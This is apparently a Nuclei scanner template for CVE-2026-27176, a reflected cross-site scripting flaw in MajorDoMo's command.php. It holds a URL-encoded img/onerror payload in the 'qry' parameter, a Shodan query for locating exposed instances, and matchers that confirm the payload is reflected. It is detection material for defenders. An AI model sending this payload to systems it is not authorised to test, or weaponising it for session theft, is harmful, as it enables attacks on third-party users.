id: CVE-2026-27176

info:
  name: MajorDoMo - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    MajorDoMo contains a reflected XSS caused by unsanitized $qry parameter in command.php, letting attackers inject arbitrary JavaScript via crafted URLs, exploit requires victim to visit malicious URL.
  impact: |
    Attackers can execute arbitrary JavaScript in victim's browser, leading to session hijacking or other client-side attacks.
  remediation: |
    Sanitize the $qry parameter using htmlspecialchars() or equivalent before rendering.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27176
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-27176
    epss-score: 0.00449
    epss-percentile: 0.36896
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"majordomo"
  tags: cve,cve2026,xss,majordomo

http:
  - method: GET
    path:
      - "{{BaseURL}}/command.php?qry=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><img src=x onerror=alert(document.domain)>'
          - "Command:"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c554ee19821dddcbffd8bba702cf925bdefc8973fed7de624f896223c84605d6022028b0c14606937498f00fcb2febb43b6a840926f213b6f533333c9a966e2bc43e:922c64590222798bb761d5b6d8e72950